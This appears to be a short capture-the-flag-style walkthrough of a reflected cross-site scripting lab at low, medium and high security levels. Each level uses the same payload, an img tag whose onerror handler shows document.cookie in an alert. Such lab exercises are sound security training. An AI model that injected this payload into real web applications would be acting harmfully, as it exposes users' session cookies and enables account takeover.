Security level: low

we have name field which is reflecting on page.

payload=<img src=x onerror="alert(document.cookie)">

It triggers an alert pop up with cookie value.

Security level: medium

_payload of low level also works here: _

payload=<img src=x onerror="alert(document.cookie)">

Security level: high

_payload of low level also works here: _

payload=<img src=x onerror="alert(document.cookie)">

Happy Hacking